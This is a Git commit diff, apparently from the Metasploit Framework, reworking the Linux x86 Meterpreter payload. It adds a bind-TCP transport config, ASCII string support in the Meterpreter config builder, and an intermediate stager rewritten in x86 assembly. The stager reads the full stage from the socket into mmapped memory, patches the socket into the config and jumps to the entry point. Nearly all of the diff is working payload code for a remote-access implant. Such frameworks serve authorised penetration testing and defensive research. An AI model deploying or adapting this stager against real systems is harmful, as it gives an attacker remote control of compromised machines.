Skip to content

Commit 9300158

Browse files
committed
Initial rework of POSIX stuff to handle new configuration
1 parent 451484c commit 9300158

File tree

3 files changed

+137
-37
lines changed

3 files changed

+137
-37
lines changed

lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,12 +44,23 @@ def generate_bind_tcp(opts={})
4444
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
4545
end
4646

47+
def generate_transport_config(opts={})
48+
{
49+
:scheme => 'tcp',
50+
:lport => datastore['LPORT'].to_i,
51+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
52+
:retry_total => datastore['SessionRetryTotal'].to_i,
53+
:retry_wait => datastore['SessionRetryWait'].to_i
54+
}
55+
end
56+
4757
#
4858
# Determine the maximum amount of space required for the features requested
4959
#
5060
def required_space
5161
# Start with our cached default generated size
52-
space = cached_size
62+
# TODO: figure out what this should be
63+
space = 300
5364

5465
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
5566
space += 14
@@ -107,6 +118,7 @@ def asm_bind_tcp(opts={})
107118
int 0x80
108119
xchg eax,edi ; restore the socket handle
109120
add esp, 0x14
121+
pop ecx
110122
111123
pop ebx
112124
pop esi

lib/rex/payloads/meterpreter/config.rb

Lines changed: 25 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config
1818

1919
def initialize(opts={})
2020
@opts = opts
21+
if opts[:ascii_str] && opts[:ascii_str] == true
22+
@to_str = self.method(:to_ascii)
23+
else
24+
@to_str = self.method(:to_wchar_t)
25+
end
2126
end
2227

2328
def to_b
@@ -30,13 +35,25 @@ def is_x86?
3035
@opts[:arch] == ARCH_X86
3136
end
3237

38+
def to_str(item, size)
39+
@to_str.call(item, size)
40+
end
41+
3342
def to_wchar_t(item, size)
34-
item.to_s.ljust(size, "\x00").unpack("C*").pack("v*")
43+
to_ascii(item, size).unpack("C*").pack("v*")
44+
end
45+
46+
def to_ascii(item, size)
47+
item.to_s.ljust(size, "\x00")
3548
end
3649

3750
def session_block(opts)
38-
uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE)
39-
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
51+
uuid = to_str(opts[:uuid].to_raw, UUID_SIZE)
52+
if opts[:exitfunk]
53+
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
54+
else
55+
exit_func = 0
56+
end
4057

4158
session_data = [
4259
0, # comms socket, patched in by the stager
@@ -63,17 +80,17 @@ def transport_block(opts)
6380
# of other stuff
6481
pack = 'A*VVV'
6582
transport_data = [
66-
to_wchar_t(url, URL_SIZE), # transport URL
83+
to_str(url, URL_SIZE), # transport URL
6784
opts[:comm_timeout], # communications timeout
6885
opts[:retry_total], # retry total time
6986
opts[:retry_wait] # retry wait time
7087
]
7188

7289
if url.start_with?('http')
73-
proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE)
74-
proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE)
75-
proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
76-
ua = to_wchar_t(opts[:ua] || '', UA_SIZE)
90+
proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE)
91+
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
92+
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
93+
ua = to_str(opts[:ua] || '', UA_SIZE)
7794

7895
cert_hash = "\x00" * CERT_HASH_SIZE
7996
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]

modules/payloads/stages/linux/x86/meterpreter.rb

Lines changed: 99 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ module Metasploit3
1717
def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'Linux Meterpreter',
20-
'Description' => 'Staged meterpreter server',
21-
'Author' => ['PKS', 'egypt'],
20+
'Description' => 'Inject the meterpreter server payload (staged)',
21+
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
2222
'Platform' => 'linux',
2323
'Arch' => ARCH_X86,
2424
'License' => MSF_LICENSE,
@@ -35,6 +35,7 @@ def elf_ep(payload)
3535
return ep
3636
end
3737

38+
=begin
3839
def elf2bin(payload)
3940
# XXX, not working. Use .c version
4041
@@ -64,31 +65,76 @@ def elf2bin(payload)
6465
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
6566
return mem[0, used]
6667
end
68+
=end
6769

6870
def handle_intermediate_stage(conn, payload)
69-
# Does a mmap() / read() loop of a user specified length, then
70-
# jumps to the entry point (the \x5a's)
71-
72-
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
73-
74-
midstager <<
75-
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
76-
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
77-
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
78-
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
79-
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
80-
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
81-
"\xd1\xff\xff\xff"
71+
entry_offset = elf_ep(payload)
72+
config_offset = payload.length - generate_meterpreter.length
8273

83-
84-
# Patch in debug options
85-
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
86-
87-
# Patch entry point
88-
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
74+
encoded_entry = "0x%.8x" % entry_offset
75+
encoded_offset = "0x%.8x" % config_offset
76+
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
8977

9078
# Maybe in the future patch in base.
9179

80+
# Does a mmap() / read() loop of a user specified length, then
81+
# jumps to the entry point (the \x5a's)
82+
midstager_asm = %Q^
83+
midstager:
84+
and esp, 0xFFFFF254
85+
push 0x4
86+
pop edx
87+
mov ecx, esp
88+
mov ebx, edi
89+
push 0x3
90+
pop eax
91+
int 0x80
92+
push edi
93+
mov eax, 0xC0
94+
mov ebx, 0x20040000
95+
mov ecx, dword ptr [esp+0x4]
96+
push 0x7
97+
pop edx
98+
push 0x32
99+
pop esi
100+
xor edi, edi
101+
mov ebp, edi
102+
dec edi
103+
int 0x80
104+
cmp eax, 0xFFFFFF7F
105+
jb start_read
106+
terminate:
107+
xor eax, eax
108+
inc eax
109+
int 0x80 ; sys_exit
110+
start_read:
111+
xchg ecx, edx
112+
xchg ecx, ebx
113+
pop ebx
114+
read_loop:
115+
push 0x3
116+
pop eax
117+
int 0x80 ; sys_read
118+
cmp eax, 0xFFFFFF7F
119+
ja terminate ; exit on error
120+
test eax, eax
121+
je terminate ; exit on error
122+
add ecx, eax
123+
sub edx, eax
124+
jne read_loop ; read more
125+
; edx should be at the end, but we need to adjust for the size of the config
126+
; block so we know where to write the socket to memory
127+
sub ecx, #{encoded_offset}
128+
mov [ecx], ebx ; write the socket to the config
129+
push #{encoded_debug_options}
130+
push ecx ; pass in the configuration pointer
131+
mov eax, #{encoded_entry} ; put the entry point in eax
132+
call eax
133+
jmp terminate
134+
^
135+
136+
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
137+
92138
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
93139
conn.put(midstager)
94140
Rex::ThreadSafe.sleep(1.5)
@@ -100,19 +146,44 @@ def handle_intermediate_stage(conn, payload)
100146
end
101147

102148
def generate_stage
103-
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
149+
meterpreter = generate_meterpreter
150+
config = generate_config
151+
meterpreter + config
152+
end
153+
154+
def generate_meterpreter
104155
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
105156

106157
blob = File.open(file, "rb") {|f|
107158
f.read(f.stat.size)
108159
}
109160

110-
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
111-
:expiration => datastore['SessionExpirationTimeout'].to_i,
112-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
113-
:retry_total => datastore['SessionRetryTotal'].to_i,
114-
:retry_wait => datastore['SessionRetryWait'].to_i)
161+
blob
162+
end
163+
164+
def generate_config(opts={})
165+
unless opts[:uuid]
166+
opts[:uuid] = Msf::Payload::UUID.new({
167+
:platform => 'linux',
168+
:arch => ARCH_X86
169+
})
170+
end
171+
172+
# create the configuration block, which for staged connections is really simple.
173+
config_opts = {
174+
:arch => opts[:uuid].arch,
175+
:exitfunk => nil,
176+
:expiration => datastore['SessionExpirationTimeout'].to_i,
177+
:uuid => opts[:uuid],
178+
:transports => [ generate_transport_config(opts) ],
179+
:extensions => [],
180+
:ascii_str => true
181+
}
182+
183+
# create the configuration instance based off the parameters
184+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
115185

116-
return blob
186+
# return the binary version of it
187+
config.to_b
117188
end
118189
end

0 commit comments

Comments
 (0)